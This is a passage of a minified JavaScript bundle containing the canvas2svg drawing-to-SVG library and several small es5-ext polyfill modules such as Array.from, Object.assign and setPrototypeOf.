i,n=this.__ctx.__createElement(\\\"stop\\\");n.setAttribute(\\\"offset\\\",t),-1!==e.indexOf(\\\"rgba\\\")?(i=/rgba\\\\(\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d?\\\\.?\\\\d*)\\\\s*\\\\)/gi.exec(e),n.setAttribute(\\\"stop-color\\\",f(\\\"rgb({r},{g},{b})\\\",{r:i[1],g:i[2],b:i[3]})),n.setAttribute(\\\"stop-opacity\\\",i[4])):n.setAttribute(\\\"stop-color\\\",e),this.__root.appendChild(n)},d=function(t,e){this.__root=t,this.__ctx=e},(x=function(t){var e,i={width:500,height:500,enableMirroring:!1};if(1<arguments.length?((e=i).width=t,e.height=arguments[1]):e=t||i,!(this instanceof x))return new x(e);this.width=e.width||i.width,this.height=e.height||i.height,this.enableMirroring=void 0!==e.enableMirroring?e.enableMirroring:i.enableMirroring,(this.canvas=this).__document=e.document||document,e.ctx?this.__ctx=e.ctx:(this.__canvas=this.__document.createElement(\\\"canvas\\\"),this.__ctx=this.__canvas.getContext(\\\"2d\\\")),this.__setDefaultStyles(),this.__stack=[this.__getStyleState()],this.__groupStack=[],this.__root=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"svg\\\"),this.__root.setAttribute(\\\"version\\\",1.1),this.__root.setAttribute(\\\"xmlns\\\",\\\"http://www.w3.org/2000/svg\\\"),this.__root.setAttributeNS(\\\"http://www.w3.org/2000/xmlns/\\\",\\\"xmlns:xlink\\\",\\\"http://www.w3.org/1999/xlink\\\"),this.__root.setAttribute(\\\"width\\\",this.width),this.__root.setAttribute(\\\"height\\\",this.height),this.__ids={},this.__defs=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"defs\\\"),this.__root.appendChild(this.__defs),this.__currentElement=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"g\\\"),this.__root.appendChild(this.__currentElement)}).prototype.__createElement=function(t,e,i){void 0===e&&(e={});var n,r,o=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",t),s=Object.keys(e);for(i&&(o.setAttribute(\\\"fill\\\",\\\"none\\\"),o.setAttribute(\\\"stroke\\\",\\\"none\\\")),n=0;n<s.length;n++)r=s[n],o.setAttribute(r,e[r]);return o},x.prototype.__setDefaultStyles=function(){var t,e,i=Object.keys(_);for(t=0;t<i.length;t++)this[e=i[t]]=_[e].canvas},x.prototype.__applyStyleState=function(t){var e,i,n=Object.keys(t);for(e=0;e<n.length;e++)this[i=n[e]]=t[i]},x.prototype.__getStyleState=function(){var t,e,i={},n=Object.keys(_);for(t=0;t<n.length;t++)e=n[t],i[e]=this[e];return i},x.prototype.__applyStyleToCurrentElement=function(e){var t=this.__currentElement,i=this.__currentElementsToStyle;i&&(t.setAttribute(e,\\\"\\\"),t=i.element,i.children.forEach(function(t){t.setAttribute(e,\\\"\\\")}));var n,r,o,s,a,l=Object.keys(_);for(n=0;n<l.length;n++)if(r=_[l[n]],o=this[l[n]],r.apply)if(o instanceof d){if(o.__ctx)for(;o.__ctx.__defs.childNodes.length;)s=o.__ctx.__defs.childNodes[0].getAttribute(\\\"id\\\"),this.__ids[s]=s,this.__defs.appendChild(o.__ctx.__defs.childNodes[0]);t.setAttribute(r.apply,f(\\\"url(#{id})\\\",{id:o.__root.getAttribute(\\\"id\\\")}))}else if(o instanceof p)t.setAttribute(r.apply,f(\\\"url(#{id})\\\",{id:o.__root.getAttribute(\\\"id\\\")}));else if(-1!==r.apply.indexOf(e)&&r.svg!==o)if(\\\"stroke\\\"!==r.svgAttr&&\\\"fill\\\"!==r.svgAttr||-1===o.indexOf(\\\"rgba\\\")){var h=r.svgAttr;if(\\\"globalAlpha\\\"===l[n]&&(h=e+\\\"-\\\"+r.svgAttr,t.getAttribute(h)))continue;t.setAttribute(h,o)}else{a=/rgba\\\\(\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d?\\\\.?\\\\d*)\\\\s*\\\\)/gi.exec(o),t.setAttribute(r.svgAttr,f(\\\"rgb({r},{g},{b})\\\",{r:a[1],g:a[2],b:a[3]}));var u=a[4],c=this.globalAlpha;null!=c&&(u*=c),t.setAttribute(r.svgAttr+\\\"-opacity\\\",u)}},x.prototype.__closestGroupOrSvg=function(t){return\\\"g\\\"===(t=t||this.__currentElement).nodeName||\\\"svg\\\"===t.nodeName?t:this.__closestGroupOrSvg(t.parentNode)},x.prototype.getSerializedSvg=function(t){var e,i,n,r,o,s=(new XMLSerializer).serializeToString(this.__root);if(/xmlns=\\\"http:\\\\/\\\\/www\\\\.w3\\\\.org\\\\/2000\\\\/svg\\\".+xmlns=\\\"http:\\\\/\\\\/www\\\\.w3\\\\.org\\\\/2000\\\\/svg/gi.test(s)&&(s=s.replace('xmlns=\\\"http://www.w3.org/2000/svg','xmlns:xlink=\\\"http://www.w3.org/1999/xlink')),t)for(e=Object.keys(a),i=0;i<e.length;i++)n=e[i],r=a[n],(o=new RegExp(n,\\\"gi\\\")).test(s)&&(s=s.replace(o,r));return s},x.prototype.getSvg=function(){return this.__root},x.prototype.save=function(){var t=this.__createElement(\\\"g\\\"),e=this.__closestGroupOrSvg();this.__groupStack.push(e),e.appendChild(t),this.__currentElement=t,this.__stack.push(this.__getStyleState())},x.prototype.restore=function(){this.__currentElement=this.__groupStack.pop(),this.__currentElementsToStyle=null,this.__currentElement||(this.__currentElement=this.__root.childNodes[1]);var t=this.__stack.pop();this.__applyStyleState(t)},x.prototype.__addTransform=function(t){var e=this.__closestGroupOrSvg();if(0<e.childNodes.length){\\\"path\\\"===this.__currentElement.nodeName&&(this.__currentElementsToStyle||(this.__currentElementsToStyle={element:e,children:[]}),this.__currentElementsToStyle.children.push(this.__currentElement),this.__applyCurrentDefaultPath());var i=this.__createElement(\\\"g\\\");e.appendChild(i),this.__currentElement=i}var n=this.__currentElement.getAttribute(\\\"transform\\\");n?n+=\\\" \\\":n=\\\"\\\",n+=t,this.__currentElement.setAttribute(\\\"transform\\\",n)},x.prototype.scale=function(t,e){void 0===e&&(e=t),this.__addTransform(f(\\\"scale({x},{y})\\\",{x:t,y:e}))},x.prototype.rotate=function(t){var e=180*t/Math.PI;this.__addTransform(f(\\\"rotate({angle},{cx},{cy})\\\",{angle:e,cx:0,cy:0}))},x.prototype.translate=function(t,e){this.__addTransform(f(\\\"translate({x},{y})\\\",{x:t,y:e}))},x.prototype.transform=function(t,e,i,n,r,o){this.__addTransform(f(\\\"matrix({a},{b},{c},{d},{e},{f})\\\",{a:t,b:e,c:i,d:n,e:r,f:o}))},x.prototype.beginPath=function(){var t;this.__currentDefaultPath=\\\"\\\",this.__currentPosition={},t=this.__createElement(\\\"path\\\",{},!0),this.__closestGroupOrSvg().appendChild(t),this.__currentElement=t},x.prototype.__applyCurrentDefaultPath=function(){var t=this.__currentElement;\\\"path\\\"===t.nodeName?t.setAttribute(\\\"d\\\",this.__currentDefaultPath):console.error(\\\"Attempted to apply path command to node\\\",t.nodeName)},x.prototype.__addPathCommand=function(t){this.__currentDefaultPath+=\\\" \\\",this.__currentDefaultPath+=t},x.prototype.moveTo=function(t,e){\\\"path\\\"!==this.__currentElement.nodeName&&this.beginPath(),this.__currentPosition={x:t,y:e},this.__addPathCommand(f(\\\"M {x} {y}\\\",{x:t,y:e}))},x.prototype.closePath=function(){this.__currentDefaultPath&&this.__addPathCommand(\\\"Z\\\")},x.prototype.lineTo=function(t,e){this.__currentPosition={x:t,y:e},-1<this.__currentDefaultPath.indexOf(\\\"M\\\")?this.__addPathCommand(f(\\\"L {x} {y}\\\",{x:t,y:e})):this.__addPathCommand(f(\\\"M {x} {y}\\\",{x:t,y:e}))},x.prototype.bezierCurveTo=function(t,e,i,n,r,o){this.__currentPosition={x:r,y:o},this.__addPathCommand(f(\\\"C {cp1x} {cp1y} {cp2x} {cp2y} {x} {y}\\\",{cp1x:t,cp1y:e,cp2x:i,cp2y:n,x:r,y:o}))},x.prototype.quadraticCurveTo=function(t,e,i,n){this.__currentPosition={x:i,y:n},this.__addPathCommand(f(\\\"Q {cpx} {cpy} {x} {y}\\\",{cpx:t,cpy:e,x:i,y:n}))};var b=function(t){var e=Math.sqrt(t[0]*t[0]+t[1]*t[1]);return[t[0]/e,t[1]/e]};x.prototype.arcTo=function(t,e,i,n,r){var o=this.__currentPosition&&this.__currentPosition.x,s=this.__currentPosition&&this.__currentPosition.y;if(void 0!==o&&void 0!==s){if(r<0)throw new Error(\\\"IndexSizeError: The radius provided (\\\"+r+\\\") is negative.\\\");if(o===t&&s===e||t===i&&e===n||0===r)this.lineTo(t,e);else{var a=b([o-t,s-e]),l=b([i-t,n-e]);if(a[0]*l[1]!=a[1]*l[0]){var h=a[0]*l[0]+a[1]*l[1],u=Math.acos(Math.abs(h)),c=b([a[0]+l[0],a[1]+l[1]]),_=r/Math.sin(u/2),p=t+_*c[0],d=e+_*c[1],f=[-a[1],a[0]],v=[l[1],-l[0]],m=function(t){var e=t[0],i=t[1];return 0<=i?Math.acos(e):-Math.acos(e)},g=m(f),y=m(v);this.lineTo(p+f[0]*r,d+f[1]*r),this.arc(p,d,r,g,y)}else this.lineTo(t,e)}}},x.prototype.stroke=function(){\\\"path\\\"===this.__currentElement.nodeName&&this.__currentElement.setAttribute(\\\"paint-order\\\",\\\"fill stroke markers\\\"),this.__applyCurrentDefaultPath(),this.__applyStyleToCurrentElement(\\\"stroke\\\")},x.prototype.fill=function(){\\\"path\\\"===this.__currentElement.nodeName&&this.__currentElement.setAttribute(\\\"paint-order\\\",\\\"stroke fill markers\\\"),this.__applyCurrentDefaultPath(),this.__applyStyleToCurrentElement(\\\"fill\\\")},x.prototype.rect=function(t,e,i,n){\\\"path\\\"!==this.__currentElement.nodeName&&this.beginPath(),this.moveTo(t,e),this.lineTo(t+i,e),this.lineTo(t+i,e+n),this.lineTo(t,e+n),this.lineTo(t,e),this.closePath()},x.prototype.fillRect=function(t,e,i,n){var r;r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n},!0),this.__closestGroupOrSvg().appendChild(r),this.__currentElement=r,this.__applyStyleToCurrentElement(\\\"fill\\\")},x.prototype.strokeRect=function(t,e,i,n){var r;r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n},!0),this.__closestGroupOrSvg().appendChild(r),this.__currentElement=r,this.__applyStyleToCurrentElement(\\\"stroke\\\")},x.prototype.__clearCanvas=function(){for(var t=this.__closestGroupOrSvg(),e=t.getAttribute(\\\"transform\\\"),i=this.__root.childNodes[1],n=i.childNodes,r=n.length-1;0<=r;r--)n[r]&&i.removeChild(n[r]);this.__currentElement=i,this.__groupStack=[],e&&this.__addTransform(e)},x.prototype.clearRect=function(t,e,i,n){if(0!==t||0!==e||i!==this.width||n!==this.height){var r,o=this.__closestGroupOrSvg();r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n,fill:\\\"#FFFFFF\\\"},!0),o.appendChild(r)}else this.__clearCanvas()},x.prototype.createLinearGradient=function(t,e,i,n){var r=this.__createElement(\\\"linearGradient\\\",{id:l(this.__ids),x1:t+\\\"px\\\",x2:i+\\\"px\\\",y1:e+\\\"px\\\",y2:n+\\\"px\\\",gradientUnits:\\\"userSpaceOnUse\\\"},!1);return this.__defs.appendChild(r),new p(r,this)},x.prototype.createRadialGradient=function(t,e,i,n,r,o){var s=this.__createElement(\\\"radialGradient\\\",{id:l(this.__ids),cx:n+\\\"px\\\",cy:r+\\\"px\\\",r:o+\\\"px\\\",fx:t+\\\"px\\\",fy:e+\\\"px\\\",gradientUnits:\\\"userSpaceOnUse\\\"},!1);return this.__defs.appendChild(s),new p(s,this)},x.prototype.__parseFont=function(){var t=/^\\\\s*(?=(?:(?:[-a-z]+\\\\s*){0,2}(italic|oblique))?)(?=(?:(?:[-a-z]+\\\\s*){0,2}(small-caps))?)(?=(?:(?:[-a-z]+\\\\s*){0,2}(bold(?:er)?|lighter|[1-9]00))?)(?:(?:normal|\\\\1|\\\\2|\\\\3)\\\\s*){0,3}((?:xx?-)?(?:small|large)|medium|smaller|larger|[.\\\\d]+(?:\\\\%|in|[cem]m|ex|p[ctx]))(?:\\\\s*\\\\/\\\\s*(normal|[.\\\\d]+(?:\\\\%|in|[cem]m|ex|p[ctx])))?\\\\s*([-,\\\\'\\\\\\\"\\\\sa-z0-9]+?)\\\\s*$/i.exec(this.font),e={style:t[1]||\\\"normal\\\",size:t[4]||\\\"10px\\\",family:t[6]||\\\"sans-serif\\\",weight:t[3]||\\\"normal\\\",decoration:t[2]||\\\"normal\\\",href:null};return\\\"underline\\\"===this.__fontUnderline&&(e.decoration=\\\"underline\\\"),this.__fontHref&&(e.href=this.__fontHref),e},x.prototype.__wrapTextLink=function(t,e){if(t.href){var i=this.__createElement(\\\"a\\\");return i.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",t.href),i.appendChild(e),i}return e},x.prototype.__applyText=function(t,e,i,n){var r,o,s,a,l=this.__parseFont(),h=this.__closestGroupOrSvg(),u=this.__createElement(\\\"text\\\",{\\\"font-family\\\":l.family,\\\"font-size\\\":l.size,\\\"font-style\\\":l.style,\\\"font-weight\\\":l.weight,\\\"text-decoration\\\":l.decoration,x:e,y:i,\\\"text-anchor\\\":(s=this.textAlign,a={left:\\\"start\\\",right:\\\"end\\\",center:\\\"middle\\\",start:\\\"start\\\",end:\\\"end\\\"},a[s]||a.start),\\\"dominant-baseline\\\":(r=this.textBaseline,o={alphabetic:\\\"alphabetic\\\",hanging:\\\"hanging\\\",top:\\\"text-before-edge\\\",bottom:\\\"text-after-edge\\\",middle:\\\"central\\\"},o[r]||o.alphabetic)},!0);u.appendChild(this.__document.createTextNode(t)),this.__currentElement=u,this.__applyStyleToCurrentElement(n),h.appendChild(this.__wrapTextLink(l,u))},x.prototype.fillText=function(t,e,i){this.__applyText(t,e,i,\\\"fill\\\")},x.prototype.strokeText=function(t,e,i){this.__applyText(t,e,i,\\\"stroke\\\")},x.prototype.measureText=function(t){return this.__ctx.font=this.font,this.__ctx.measureText(t)},x.prototype.arc=function(t,e,i,n,r,o){if(n!==r){n%=2*Math.PI,r%=2*Math.PI,n===r&&(r=(r+2*Math.PI-.001*(o?-1:1))%(2*Math.PI));var s=t+i*Math.cos(r),a=e+i*Math.sin(r),l=t+i*Math.cos(n),h=e+i*Math.sin(n),u=o?0:1,c=0,_=r-n;_<0&&(_+=2*Math.PI),c=o?_>Math.PI?0:1:_>Math.PI?1:0,this.lineTo(l,h),this.__addPathCommand(f(\\\"A {rx} {ry} {xAxisRotation} {largeArcFlag} {sweepFlag} {endX} {endY}\\\",{rx:i,ry:i,xAxisRotation:0,largeArcFlag:c,sweepFlag:u,endX:s,endY:a})),this.__currentPosition={x:s,y:a}}},x.prototype.clip=function(){var t=this.__closestGroupOrSvg(),e=this.__createElement(\\\"clipPath\\\"),i=l(this.__ids),n=this.__createElement(\\\"g\\\");this.__applyCurrentDefaultPath(),t.removeChild(this.__currentElement),e.setAttribute(\\\"id\\\",i),e.appendChild(this.__currentElement),this.__defs.appendChild(e),t.setAttribute(\\\"clip-path\\\",f(\\\"url(#{id})\\\",{id:i})),t.appendChild(n),this.__currentElement=n},x.prototype.drawImage=function(){var t,e,i,n,r,o,s,a,l,h,u,c,_,p,d=Array.prototype.slice.call(arguments),f=d[0],v=0,m=0;if(3===d.length)t=d[1],e=d[2],r=f.width,o=f.height,i=r,n=o;else if(5===d.length)t=d[1],e=d[2],i=d[3],n=d[4],r=f.width,o=f.height;else{if(9!==d.length)throw new Error(\\\"Inavlid number of arguments passed to drawImage: \\\"+arguments.length);v=d[1],m=d[2],r=d[3],o=d[4],t=d[5],e=d[6],i=d[7],n=d[8]}s=this.__closestGroupOrSvg(),this.__currentElement;var g=\\\"translate(\\\"+t+\\\", \\\"+e+\\\")\\\";if(f instanceof x){if((a=f.getSvg().cloneNode(!0)).childNodes&&1<a.childNodes.length){for(l=a.childNodes[0];l.childNodes.length;)p=l.childNodes[0].getAttribute(\\\"id\\\"),this.__ids[p]=p,this.__defs.appendChild(l.childNodes[0]);if(h=a.childNodes[1]){var y,b=h.getAttribute(\\\"transform\\\");y=b?b+\\\" \\\"+g:g,h.setAttribute(\\\"transform\\\",y),s.appendChild(h)}}}else\\\"IMG\\\"===f.nodeName?((u=this.__createElement(\\\"image\\\")).setAttribute(\\\"width\\\",i),u.setAttribute(\\\"height\\\",n),u.setAttribute(\\\"preserveAspectRatio\\\",\\\"none\\\"),(v||m||r!==f.width||o!==f.height)&&((c=this.__document.createElement(\\\"canvas\\\")).width=i,c.height=n,(_=c.getContext(\\\"2d\\\")).drawImage(f,v,m,r,o,0,0,i,n),f=c),u.setAttribute(\\\"transform\\\",g),u.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",\\\"CANVAS\\\"===f.nodeName?f.toDataURL():f.getAttribute(\\\"src\\\")),s.appendChild(u)):\\\"CANVAS\\\"===f.nodeName&&((u=this.__createElement(\\\"image\\\")).setAttribute(\\\"width\\\",i),u.setAttribute(\\\"height\\\",n),u.setAttribute(\\\"preserveAspectRatio\\\",\\\"none\\\"),(c=this.__document.createElement(\\\"canvas\\\")).width=i,c.height=n,(_=c.getContext(\\\"2d\\\")).imageSmoothingEnabled=!1,_.mozImageSmoothingEnabled=!1,_.oImageSmoothingEnabled=!1,_.webkitImageSmoothingEnabled=!1,_.drawImage(f,v,m,r,o,0,0,i,n),f=c,u.setAttribute(\\\"transform\\\",g),u.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",f.toDataURL()),s.appendChild(u))},x.prototype.createPattern=function(t,e){var i,n=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"pattern\\\"),r=l(this.__ids);return n.setAttribute(\\\"id\\\",r),n.setAttribute(\\\"width\\\",t.width),n.setAttribute(\\\"height\\\",t.height),\\\"CANVAS\\\"===t.nodeName||\\\"IMG\\\"===t.nodeName?((i=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"image\\\")).setAttribute(\\\"width\\\",t.width),i.setAttribute(\\\"height\\\",t.height),i.setAttributeNS(\\\"http://www.w3.org/1999/xlink\\\",\\\"xlink:href\\\",\\\"CANVAS\\\"===t.nodeName?t.toDataURL():t.getAttribute(\\\"src\\\")),n.appendChild(i),this.__defs.appendChild(n)):t instanceof x&&(n.appendChild(t.__root.childNodes[1]),this.__defs.appendChild(n)),new d(n,this)},x.prototype.setLineDash=function(t){t&&0<t.length?this.lineDash=t.join(\\\",\\\"):this.lineDash=null},x.prototype.drawFocusRing=function(){},x.prototype.createImageData=function(){},x.prototype.getImageData=function(){},x.prototype.putImageData=function(){},x.prototype.globalCompositeOperation=function(){},x.prototype.setTransform=function(){},\\\"object\\\"==typeof window&&(window.C2S=x),\\\"object\\\"==typeof e&&\\\"object\\\"==typeof e.exports&&(e.exports=x)}()},function(t,e,i){var n,o=t(307),r=t(317),s=t(321),a=t(316),l=t(321),h=t(323),u=Function.prototype.bind,c=Object.defineProperty,_=Object.prototype.hasOwnProperty;n=function(t,e,i){var n,r=h(e)&&l(e.value);return delete(n=o(e)).writable,delete n.value,n.get=function(){return!i.overwriteDefinition&&_.call(this,t)?r:(e.value=u.call(r,i.resolveContext?i.resolveContext(this):this),c(this,t,e),this[t])},n},e.exports=function(t){var i=r(arguments[1]);return null!=i.resolveContext&&s(i.resolveContext),a(t,function(t,e){return n(e,t,i)})}},function(t,e,i){var a=t(304),l=t(317),h=t(310),u=t(324);(e.exports=function(t,e){var i,n,r,o,s;return arguments.length<2||\\\"string\\\"!=typeof t?(o=e,e=t,t=null):o=arguments[2],null==t?(i=r=!0,n=!1):(i=u.call(t,\\\"c\\\"),n=u.call(t,\\\"e\\\"),r=u.call(t,\\\"w\\\")),s={value:e,configurable:i,enumerable:n,writable:r},o?a(l(o),s):s}).gs=function(t,e,i){var n,r,o,s;return\\\"string\\\"!=typeof t?(o=i,i=e,e=t,t=null):o=arguments[3],null==e?e=void 0:h(e)?null==i?i=void 0:h(i)||(o=i,i=void 0):(o=e,e=i=void 0),null==t?r=!(n=!0):(n=u.call(t,\\\"c\\\"),r=u.call(t,\\\"e\\\")),s={get:e,set:i,configurable:n,enumerable:r},o?a(l(o),s):s}},function(t,e,i){var n=t(323);e.exports=function(){return n(this).length=0,this}},function(t,e,i){e.exports=t(292)()?Array.from:t(293)},function(t,e,i){e.exports=function(){var t,e,i=Array.from;return\\\"function\\\"==typeof i&&(e=i(t=[\\\"raz\\\",\\\"dwa\\\"]),Boolean(e&&e!==t&&\\\"dwa\\\"===e[1]))}},function(t,e,i){var p=t(337).iterator,d=t(294),f=t(295),v=t(302),m=t(321),g=t(323),y=t(312),b=t(327),x=Array.isArray,w=Function.prototype.call,k={configurable:!0,enumerable:!0,writable:!0,value:null},S=Object.defineProperty;e.exports=function(t){var e,i,n,r,o,s,a,l,h,u,c=arguments[1],_=arguments[2];if(t=Object(g(t)),y(c)&&m(c),this&&this!==Array&&f(this))e=this;else{if(!c){if(d(t))return 1!==(o=t.length)?Array.apply(null,t):((r=new Array(1))[0]=t[0],r);if(x(t)){for(r=new Array(o=t.length),i=0;i<o;++i)r[i]=t[i];return r}}r=[]}if(!x(t))if(void 0!==(h=t[p])){for(a=m(h).call(t),e&&(r=new e),l=a.next(),i=0;!l.done;)u=c?w.call(c,_,l.value,i):l.value,e?(k.value=u,S(r,i,k)):r[i]=u,l=a.next(),++i;o=i}else if(b(t)){for(o=t.length,e&&(r=new e),n=i=0;i<o;++i)u=t[i],i+1<o&&55296<=(s=u.charCodeAt(0))&&s<=56319&&(u+=t[++i]),u=c?w.call(c,_,u,n):u,e?(k.value=u,S(r,n,k)):r[n]=u,++n;o=n}if(void 0===o)for(o=v(t.length),e&&(r=new e(o)),i=0;i<o;++i)u=c?w.call(c,_,t[i],i):t[i],e?(k.value=u,S(r,i,k)):r[i]=u;return e&&(k.value=null,r.length=o),r}},function(t,e,i){var n=Object.prototype.toString,r=n.call(function(){return arguments}());e.exports=function(t){return n.call(t)===r}},function(t,e,i){var n=Object.prototype.toString,r=n.call(t(296));e.exports=function(t){return\\\"function\\\"==typeof t&&n.call(t)===r}},function(t,e,i){e.exports=function(){}},function(t,e,i){e.exports=function(){return this}()},function(t,e,i){e.exports=t(299)()?Math.sign:t(300)},function(t,e,i){e.exports=function(){var t=Math.sign;return\\\"function\\\"==typeof t&&1===t(10)&&-1===t(-20)}},function(t,e,i){e.exports=function(t){return t=Number(t),isNaN(t)||0===t?t:0<t?1:-1}},function(t,e,i){var n=t(298),r=Math.abs,o=Math.floor;e.exports=function(t){return isNaN(t)?0:0!==(t=Number(t))&&isFinite(t)?n(t)*o(r(t)):t}},function(t,e,i){var n=t(301),r=Math.max;e.exports=function(t){return r(0,n(t))}},function(t,e,i){var a=t(321),l=t(323),h=Function.prototype.bind,u=Function.prototype.call,c=Object.keys,_=Object.prototype.propertyIsEnumerable;e.exports=function(o,s){return function(i,n){var t,r=arguments[2],e=arguments[3];return i=Object(l(i)),a(n),t=c(i),e&&t.sort(\\\"function\\\"==typeof e?h.call(e,i):void 0),\\\"function\\\"!=typeof o&&(o=t[o]),u.call(o,t,function(t,e){return _.call(i,t)?u.call(n,r,i[t],t,i,e):s})}}},function(t,e,i){e.exports=t(305)()?Object.assign:t(306)},function(t,e,i){e.exports=function(){var t,e=Object.assign;return\\\"function\\\"==typeof e&&(e(t={foo:\\\"raz\\\"},{bar:\\\"dwa\\\"},{trzy:\\\"trzy\\\"}),t.foo+t.bar+t.trzy===\\\"razdwatrzy\\\")}},function(t,e,i){var s=t(313),a=t(323),l=Math.max;e.exports=function(e,i){var n,t,r,o=l(arguments.length,2);for(e=Object(a(e)),r=function(t){try{e[t]=i[t]}catch(t){n||(n=t)}},t=1;t<o;++t)i=arguments[t],s(i).forEach(r);if(void 0!==n)throw n;return e}},function(t,e,i){var o=t(291),s=t(304),a=t(323);e.exports=function(e){var t=Object(a(e)),i=arguments[1],n=Object(arguments[2]);if(t!==e&&!i)return t;var r={};return i?o(i,function(t){(n.ensure||t in e)&&(r[t]=e[t])}):s(r,e),r}},function(t,e,i){var n,r,o,s,a=Object.create;t(319)()||(n=t(320)),e.exports=n?1!==n.level?a:(s={configurable:(o={},!1),enumerable:(r={},!1),writable:!0,value:void 0},Object.getOwnPropertyNames(Object.prototype).forEach(function(t){o[t]=\\\"__proto__\\\"!==t?s:{configurable:!0,enumerable:!1,writable:!0,value:void 0}}),Object.defineProperties(r,o),Object.defineProperty(n,\\\"nullPolyfill\\\",{configurable:!1,enumerable:!1,writable:!1,value:r}),function(t,e){return a(null===t?r:t,e)}):a},function(t,e,i){e.exports=t(303)(\\\"forEach\\\")},function(t,e,i){e.exports=function(t){return\\\"function\\\"==typeof t}},function(t,e,i){var n=t(312),r={function:!0,object:!0};e.exports=function(t){return n(t)&&r[typeof t]||!1}},function(t,e,i){var n=t(296)();e.exports=function(t){return t!==n&&null!==t}},function(t,e,i){e.exports=t(314)()?Object.keys:t(315)},function(t,e,i){e.exports=function(){try{return Object.keys(\\\"primitive\\\"),!0}catch(t){return!1}}},function(t,e,i){var n=t(312),r=Object.keys;e.exports=function(t){return r(n(t)?Object(t):t)}},function(t,e,i){var n=t(321),a=t(309),l=Function.prototype.call;e.exports=function(t,r){var o={},s=arguments[2];return n(r),a(t,function(t,e,i,n){o[e]=l.call(r,s,t,e,i,n)}),o}},function(t,e,i){var n=t(312),r=Array.prototype.forEach,o=Object.create;e.exports=function(t){var e=o(null);return r.call(arguments,function(t){n(t)&&function(t,e){var i;for(i in t)e[i]=t[i]}(Object(t),e)}),e}},function(t,e,i){e.exports=t(319)()?Object.setPrototypeOf:t(320)},function(t,e,i){var n=Object.create,r=Object.getPrototypeOf,o={};e.exports=function(){var t=Object.setPrototypeOf,e=arguments[0]||n;return\\\"function\\\"==typeof t&&r(t(e(null),o))===o}},function(t,e,i){var r,n,o,s,a=t(311),l=t(323),h=Object.prototype.isPrototypeOf,u=Object.defineProperty,c={configurable:!0,enumerable:!1,writable:!0,value:void 0};r=function(t,e){if(l(t),null===e||a(e))return t;throw new TypeError(\\\"Prototype must be null or an object\\\")},e.exports=(n=function(){var t,e=Object.create(null),i={},n=Object.getOwnPropertyDescriptor(Object.prototype,\\\"__proto__\\\");if(n){try{(t=n.set).call(e,i)}catch(t){}if(Object.getPrototypeOf(e)===i)return{set:t,level:2}}return e.__proto__=i,Object.getPrototypeOf(e)===i?{level:2}:((e={}).__proto__=i,Object.getPrototypeOf(e)===i&&{level:1})}())?(2===n.level?n.set?(s=n.set,o=function(t,e){return s.call(r(t,e),e),t}):o=function(t,e){return r(t,e).__proto__=e,t}:o=function t(e,i){var n;return r(e,i),(n=h.call(t.nullPolyfill,e))&&delete t.nullPolyfill.__proto__,null===i&&(i=t.nullPolyfill),e.__proto__=i,n&&u(t.nullPolyfill,\\\"__proto__\\\",c),e},Object.defineProperty(o,\\\"level\\\",{configurable:!1,enumerable:!1,writable:!1,value:n.level})):null,t(308)},function(t,e,i){e.exports=function(t){if(\\\"function\\\"!=typeof t)throw new TypeError(t+\\\" is not a function\\\");return t}},function(t,e,i){var n=t(311);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not an Object\\\");return t}},function(t,e,i){var n=t(312);e.exports=function(t){if(!n(t))throw new TypeError(\\\"Cannot use null or undefined\\\");return t}},function(t,e,i){e.exports=t(325)()?String.prototype.contains:t(326)},function(t,e,i){var n=\\\"razdwatrzy\\\";e.exports=function(){return\\\"function\\\"==typeof n.contains&&!0===n.contains(\\\"dwa\\\")&&!1===n.contains(\\\"foo\\\")}},function(t,e,i){var n=String.prototype.indexOf;e.exports=function(t){return-1<n.call(this,t,arguments[1])}},function(t,e,i){var n=Object.prototype.toString,r=n.call(\\\"\\\");e.exports=function(t){return\\\"string\\\"==typeof t||t&&\\\"object\\\"==typeof t&&(t instanceof String||n.call(t)===r)||!1}},function(t,e,i){var n=Object.create(null),r=Math.random;e.exports=function(){for(var t;t=r().toString(36).slice(2),n[t];);return t}},function(t,e,i){var n,r=t(318),o=t(324),s=t(289),a=t(337),l=t(332),h=Object.defineProperty;n=e.exports=function(t,e){if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");l.call(this,t),e=e?o.call(e,\\\"key+value\\\")?\\\"key+value\\\":o.call(e,\\\"key\\\")?\\\"key\\\":\\\"value\\\":\\\"value\\\",h(this,\\\"__kind__\\\",s(\\\"\\\",e))},r&&r(n,l),delete n.prototype.constructor,n.prototype=Object.create(l.prototype,{_resolve:s(function(t){return\\\"value\\\"===this.__kind__?this.__list__[t]:\\\"key+value\\\"===this.__kind__?[t,this.__list__[t]]:t})}),h(n.prototype,a.toStringTag,s(\\\"c\\\",\\\"Array Iterator\\\"))},function(t,e,i){var c=t(294),_=t(321),p=t(327),d=t(331),f=Array.isArray,v=Function.prototype.call,m=Array.prototype.some;e.exports=function(t,e){var i,n,r,o,s,a,l,h,u=arguments[2];if(f(t)||c(t)?i=\\\"array\\\":p(t)?i=\\\"string\\\":t=d(t),_(e),r=function(){o=!0},\\\"array\\\"!==i)if(\\\"string\\\"!==i)for(n=t.next();!n.done;){if(v.call(e,u,n.value,r),o)return;n=t.next()}else for(a=t.length,s=0;s<a&&(l=t[s],s+1<a&&55296<=(h=l.charCodeAt(0))&&h<=56319&&(l+=t[++s]),v.call(e,u,l,r),!o);++s);else m.call(t,function(t){return v.call(e,u,t,r),o})}},function(t,e,i){var 